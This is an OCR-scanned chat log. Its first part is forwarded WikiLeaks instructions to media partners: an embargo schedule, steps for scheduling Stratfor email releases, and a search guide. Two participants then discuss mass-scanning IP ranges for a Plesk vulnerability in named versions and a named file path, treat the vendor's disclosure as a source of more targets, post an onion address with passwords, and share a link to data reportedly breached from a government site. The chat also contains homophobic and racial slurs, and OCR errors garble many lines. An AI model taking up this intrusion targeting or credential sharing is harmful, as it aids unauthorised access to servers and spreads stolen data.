If a subject is NOT LISTED below then it CAN be written about from the 27th Feb 
00:01 onwards. 

1. Monday 27th Feb 00:01 
United States 

China 

Latin America 
Europe (except Italy) 

Russia and former Soviet Union 
Stratfor 

Dow Chemical / Union Carbide - Bhopal 
Shell 

Halliburton 

[and any country or organization not mentioned elsewhere below] 

2. Wednesday 29th Eeb 00:01 
WikiLeaks 

Assange 

Occupy 

Anonymous 

3. Eriday 2nd March 09:00 
Italy 

4. Tuesday 6th March 00:01 
Arab countries 

Israel 

Iran 

Turkey 

6. Thursday 8th March 00:01 

Pakistan 

India 

Afghanistan 

Kashmir 
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Sri Lanka 
Nepal 

(7:03:29 PM) ardeditor@jabber.ccc.de: 2. Instructions on Scheduling Emails for 
Release 

As per the MOU, you are required to schedule the Rock Guitar emails that correspond 
to your stories for release on the WikiLeaks website at the same time as the story that 
refers to them appears in any medium in your organisation. This is necessary for 
coordination so you may claim WikiLeaks is releasing the email, and so the public 
may be informed. 

You should create a release per story you are writing and enter the email I.D.s of all 
the emails that are referred to in that story. 

The release manager must be treated in a gentlemanly manner: there is to be no 
playing of the system to schedule large quantities of data in advance to reserve them, 
or using robots on the system. Scheduling must reflect true intentions to publish and 
the date and time listed. 

WikiLeaks will be monitoring this system to ensure email I.D.s are entered, the 
release manager is treated correctly and all embargos are adhered to. 

1) Go to the tab 'new release' 

2) In the box 'Story Name' enter the title of your story eg 'Assange Extradition' 

We need a distinct title (and URL below) to drive traffic to your site through our 
millions of Twitter and Eacebook followers and through links on our main site. 

3) In the box 'Date and Time of the release' enter the exact time the emails should be 
published to coincide with the publication of your story. The format for this is 
YYYY-MM-DD HH, eg 2012-02-27 01. The time is entered as the time it will be in 
London when your story goes live. You can only schedule stories for one week in 
advance. Double-check this carefully or you may accidentally break the embargo. Eor 
stories you wish to put out the moment an embargo ends at 00:01 put the time as 00, 
and on embargo end dates we will put them live one minute later. 

4) In the box 'Story URLs' please list each URL from your site that is part of this 
story. Normally this will just be one URL, but in some occasions your story maybe 
one of a series, so there will be a few URLs, list these one per line. We will link to 
these URLs from the email on our site - so make sure they are correct. 
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5) In the box 'Documents to include in this release' enter the email ID of all the emails 
that you refer to in your story. The email ID is the number on the left in our site when 
you have done a search. After putting in each email ID press 'Add this doc i-d' to 
include that email in the release - double-check this or you may accidentally break the 
embargo. 

You can also add an email to a release from the search results list - on the far left 
hand side of the search results you will see the word 'add' press this and you will add 
that email to the last release you were editing (you can confirm which one this is as it 
will be shown as a tab at the top saying "editing release #123" for example). 

6) After entering all these details for a release you can save the release in one of two 
ways: a) so that you can still edit the release, or b) so that it is confirmed and locked 
for publishing on time. 

A) To save it to edit it later; 

Press the button 'CREATE this release'. To then edit it you go to the 'my releases' tab 
and select the release from the list and edit it. 

B) To save the release so that it is locked and confirmed to be published (you will not 
be able to make changes to it): 

Tick the box 'Ready?' and then press the 'save' button. Once you have done this you 
can no longer change it, so double check the release before you do this. 

If you are certain your release is OK then tick the 'ready' box and 'save'. If you may 
change the release then don't tick this box. Prior to publication you must go through 
and confirm your releases by ticking the 'ready' box and saving it, so that they are 
published at the right time. 

Once you have made a release 'ready' and saved it you will be told what the URL will 
be on our site of each of the emails you selected, so that you can link to them. You 
will also be told which of the emails has already been confirmed in a release by 
someone else and if it will go out before your scheduled time or not. 

(7:04:01 PM) ardeditor@jabber.ccc.de: 3. Instructions for Publication Date 

As we are fast approaching our embargo date, when many media organisations from 
around the world will simultaneously publish stories on this material there are some 
basic instructions everyone should follow to ensure this goes as smoothly as possible. 
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1. Please stay online on jabber as mueh as possible for last minute 
changes/instruetions ete. 

2. The name that we are referring to this release as is; The Global Intelligence Files 
(The GI Files for short). For clarity please refer to this release as The Global 
Intelligence Files, or The GI Files in your publication. The Twitter hash tag will be 
#Gifiles. The site to link to on WikiLeaks will be wikileaks.org/gifiles 

3. As per your WikiLeaks Memorandum of Understanding (MOU) please remember 
in all your stories and at each moment you are discussing/writing about this release 
you should credit WikiLeaks in the following manner; “investigative partnership 
organised by WikiLeaks” and refer to the data as having been “obtained by 
WikiLeaks”. You can state that you were “given access to a sophisticated search 
database developed by W ik iLeaks”. Do not use any other terms. Do not use any other 
terms, but credit WikiLeaks in each of your stories in this way. 

4. As usual we will be listing all the partners for this release on our site. We will be 
linking to your website from this list. If you have a specific page of your site, other 
than your home page, that you would like us to link to then please let us know as soon 
as possible to ensure this is the link we use. We will push this information to millions 
of people - so please make sure it is accurate. 

5. We will be holding a press conference regarding this release on 27th February in 
London. If you are interested in attending this to explain to other journalists what you 
found of importance in the data please let us know as soon as possible. 

(7:04:55 PM) ardeditor@jabber.ccc.de: 4. Plan B and C 

As was explained to you right at the beginning another organisation has claimed to 
have similar information to this. We do not know that it is the same information, 
however, just in case we are providing you with contingency plans in case this 
information begins to come out elsewhere. 

YOU MAY NOT implement either of these plans unless instructed to do so by 
WikiLeaks. If either plan is to be implemented the message will be given over jabber 
by your WikiLeaks contact and put on the release/search site and the following 
message will be sent from the WikiLeaks Twitter account; 'Rock Guitar; Activate 
Plan (B or C). 

Plan B 
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This is for if the data comes out in a large unsearchable database that the public 
cannot understand. Because of the complexity and expense in creating a searchable 
database for information of this type and size we do not see this possibility as a threat 
to the embargo schedule. 

In this case we will continue to publish emails in a way easily seen by the public one 
by one, as you enter them into our system. 

In this case the embargo timetable may be sped up after consultation with partners 
(the new timetable will be put on the release/search site). If you have already clicked 
'ready' on a release so it is locked and confirmed WikiLeaks will change the date and 
time (in consultation with you) so it falls into the new embargo timetable. 

You must still enter your email Ids to our system and publish according to the 
(shorter) embargo timetable. 


Plane 

In the event that the data comes out in with a search database that is easily searched 
by competing media organisations, or a rival media organisation starts a substantial 
publishing effort based on the same data. 

You no longer have to follow the embargo schedule. You must still put the email Ids 
and your URLs into our site, but you can set the times for these to be released, and 
publish your stories, as you are ready. 

(7:05:31 PM) ardeditor@jabber.ccc.de: 7. Guide for Searching the Data of Project 
Rock Guitar 

Last update: February 20, 2012 

While the search function is designed to be simple and straightforward, seeking 
specific information and following specific threads requires the ability to narrow 
down on useful information and to exclude unneeded e-mails, otherwise wastes time 
going through unnecessary emails. 

1. EXCLUDE IN SEARCHES 

- The "exclude" function is very important; the most common usage would be to 
exclude all "[OS]" (open-source) items that represent a sizeable portion of the 
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collection and rarely involve any useful commentary. 

2. SUBJECT CLASSIFICATIONS 

- The company has maintained a policy of classifying e-mails in a visible manner in 
the subject box. The most common e-mail headers are: "OS", "Analysis", "insight", 
"report", "discussion", and "question". Most are self-explanatory and are useful for 
narrowing down searches (use the "include" search function). 

- However, other subject codes are more limited in use, but still significant, for 
instance "Alpha", in e-mails from post-2005, is marked on e-mails relating to the 
company’s sources and informants abroad, and are the business of the operations 
department, as opposed research. 

3. SEARCHING INDIVIDUALS 

- In many cases, interesting information will be obtained by following specific 
individuals and tracing their communications, use names and e-mail addresses, but 
without copying the full address, the search function does not recognize the @ 
symbol. 

- Post-2006 informants and sources are referred to through codes rather than names, 
"ME213" for example. 

- Keep in mind that the company adopted different policies at different times, prior to 
an internal reorganization in mid-2005, the sources were identified by name and their 
e-mail communications were part of the general database. So searches from that 
period could yield specific information (key individual; Robert "bob" Rushing, who 
was head of special operations until 06/2005), while in the past few years, secrecy 
became more enforced, and new a new protocol for dealing with sources was 
established. 

4. SEARCHING STORIES 

- As one reference point, you can organize your searches around major events and/or 
controversial stories that were covered by media since mid 2004 (that's how far back 
the emails go). Examples include "Al-Yamamah" or "Iraq Security". 

- But surely, it could be more interesting to search for things that were *not* covered 
by media, but that would require searching a large number of keywords (spanning 
companies, events, geo-political regions, etc.) and following the threads. 
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(7:08:23 PM) leondavidsonC^jabber.org/jabber.org: tell me if yu get all that 

(7:15:27 PM) yohoho(S>jabber.ccc.de: I did get all that and just read it 

(7:15:33 PM) yohoho(S>jabber.ccc.de: Looks like it is legit 

(7:15:37 PM) leondavidson(s>jabber.org/jabber.org: indeed 

(7:15:48 PM) yohoho(S>jabber.ccc.de: And since Feb 27 is only like six days away 

(7:15:50 PM) yohoho(s>jabber.ccc.de: not too bad to wait it out 

(7:15:53 PM) leondavidson@jabber.org/jabber.org: yup 

(7:16:16 PM) leondavidson(a>jabber.org/jabber.org: he's intimidated by you for whatever reason 
hence why he's talking to me instead 

(7:16:17 PM) leondavidson(a>jabber.org/jabber.org: which is funny 

(7:16:24 PM) leondavidson(a>jabber.org/jabber.org: because I think I'm more of a dick than you 
are 

(7:16:27 PM) yohoho(S>jabber.ccc.de: yes I was wondering what the fuck was up 

(7:16:45 PM) yohoho(S>jabber.ccc.de: because I pretty much demanded he give me info about 

what they are doin 

(7:16:58 PM) yohoho(S>jabber.ccc.de: there's absolutely no reason why we havent been included 
on all this shit since the start 

(7:17:17 PM) yohoho(S>jabber.ccc.de: so even if they do follow through, i'm hesitant tow ork with 
them again 

(7:17:35 PM) leondavidson@jabber.org/jabber.org: they simply dont trust us 

(7:17:42 PM) leondavidson@jabber.org/jabber.org: because they dont trust our opsec/security 

(7:19:04 PM) yohoho(S>jabber.ccc.de: whatever, I have made it clear I was willing to jump 

through whatever hoops, and respect whatever params 

(7:19:11 PM) yohoho(s>jabber.ccc.de: I'm pretty pissed 

(7:19:32 PM) leondavidson(s>jabber.org/jabber.org: they're gay 

(7:19:38 PM) leondavidson@jabber.org/jabber.org: lets see how this goes 

(7:20:01 PM) leondavidson@jabber.org/jabber.org: its pretty fucking sad that the most legit 

organization we have sucks fucking balls 

(7:21:13 PM) IcondavidsontSjabbcr.org/jabbcr.org: feels like a losing battle sometimes 
(7:21:48 PM) IcondavidsontSjabbcr.org/jabbcr.org: in real life - I've been stressed, depressed, 
sick as a mother fucker, last week I slept 20 hours a day. I literally slept over and over. I'd wake 
up. say hi to you. and go back to sleep 

(7:22:04 PM) yohoho(S>jabber.ccc.de: well if you're sick you're sick 

(7:22:16 PM) yohoho(s>jabber.ccc.de: also 

(7:22:19 PM) yohoho(S>jabber.ccc.de: plesk is notifying clients 

(7:22:20 PM) yohoho(s>jabber.ccc.de: bout vulns 

(7:22:24 PM) leondavidson(s>jabber.org/jabber.org: no way 

(7:22:25 PM) yohoho(s>jabber.ccc.de: cat's out the bag 

(7:22:28 PM) yohoho(s>jabber.ccc.de: well 

(7:22:33 PM) leondavidson@jabber.org/jabber.org: when did that start? 

(7:22:33 PM) yohoho(S>jabber.ccc.de: apparently they knew about the vuln months ago 
(7:22:42 PM) yohoho(S>jabber.ccc.de: a day or two before the last FTC hack 
(7:22:51 PM) yohoho(S>jabber.ccc.de: http://kb.parallels.eom/en/l 12303 
http://kb.parallels.eom/en/l 13313 

http://kb.parallels.eom/en/l 13321 

(7:23:06 PM) yohoho(S>jabber.ccc.de: there's no widespread conversation about it or it's 
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implications yet 

(7:23:12 PM) leondavidson(s)jabber.org/jabber.org: ok 

(7:23:18 PM) leondavidson(a>jabber.org/jabber.org: let it stay quiet for the most part 
(7:23:23 PM) yohoho(s>jabber.ccc.de: yes 

(7:23:29 PM) yohoho(S>jabber.ccc.de: meanwhile scanning the fuck out of big ranges 
(7:24:05 PM) leondavidson@jabber.org/jabber.org: pretty funny tho. they give you more targets 
(7:24:29 PM) leondavidson@jabber.org/jabber.org: plesk 9.5.1 to 9.5.5 have same vuln in 
admin/htdocs/help.php etc 

(7:31:07 PM) leondavidson(s>jabber.org/jabber.org: http://7f41ihm464gdcwfc.onion/ 

WLl 

oijWEIFMQ21qdq2s9j 

WL2 

ouup89PQ8RHWEdsf34 

(7:31:13 PM) leondavidsontSjabber.org/jabber.org: this entire shit is called operation rock 
guitar 

(7:35:20 PM) leondavidson(s>jabber.org/jabber.org: haha these niggas is funny 
(7:35:58 PM) yohoho(s>jabber.ccc.de: ok also 

(7:36:03 PM) yohoho(S>jabber.ccc.de: ask him whether any information was redacted 

(7:36:09 PM) yohoho(S>jabber.ccc.de: if they are removing agent names addresses etc 

(7:36:12 PM) yohoho(S>jabber.ccc.de: we will have to do our own thing anyway 

(7:44:31 PM) leondavidson(a>jabber.org/jabber.org: (7:43:11 PM) 

ardeditor@jabber.ccc.de: JA may be in prison about then 

(7:43:35 PM) ardeditor@jabber.ccc.de: JUST between you and me 

(7:44:08 PM) ardeditor@jabber.ccc.de: we have discovered, in the data, that there 

exists a sealed espionage indictment from the US grand Jury against JA 

(7:44:16 PM) leondavidson@jabber.org/jabber.org: no fucking way 

(7:45:15 PM) yohoho(S>jabber.ccc.de: that is crazy shit 

(7:45:20 PM) yohoho(s>jabber.ccc.de: if true 

(7:45:22 PM) yohoho(s>jabber.ccc.de: so wait 

(7:45:25 PM) yohoho(S>jabber.ccc.de: that is not JA? 

(7:45:28 PM) yohoho(s>jabber.ccc.de: because if so some shit is afoot 

(7:45:44 PM) leondavidson@jabber.org/jabber.org: this is an assistant or something 

(7:45:49 PM) leondavidson@jabber.org/jabber.org: or its JA talking in 3rd person 

(7:45:55 PM) leondavidson@jabber.org/jabber.org: because he can't be talkign to us technically 

(7:46:00 PM) yohoho(S>jabber.ccc.de: probably third person 

(7:46:05 PM) yohoho(S>jabber.ccc.de: because he doesn't want shit to end up in logs 

(7:46:09 PM) yohoho(S>jabber.ccc.de: aiding and abeting or whatever 

(7:46:28 PM) leondavidson(s)jabber.org/jabber.org: yup 

(7:46:33 PM) yohoho(S>jabber.ccc.de: it's in here 

(7:46:34 PM) leondavidson@jabber.org/jabber.org: I think its him 

(7:46:34 PM) yohoho(S>jabber.ccc.de: Not for Pub — 

We have a sealed indictment on Assange. 

Pis protect 

(8:06:39 PM) leondavidson(a>jabber.org/jabber.org: 17:01 <DecryptedMatrix> sbir.gov 
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breached, a gift from i2p land 

17:01 <DecryptedMatrix> http://tracker2.postman.i2p/index.php?view=TorrentDetail&id=15956 
17:01 <DecryptedMatrix> all kinds of dirt in there apparently 

(8:07:25 PM) yohoho@jabber.ccc.de: it's public now ? 

(8:08:15 PM) leondavidson@jabber.org/jabber.org: nein 

(8:08:33 PM) leondavidson@jabber.org/jabber.org: its apparently kept within their little group 
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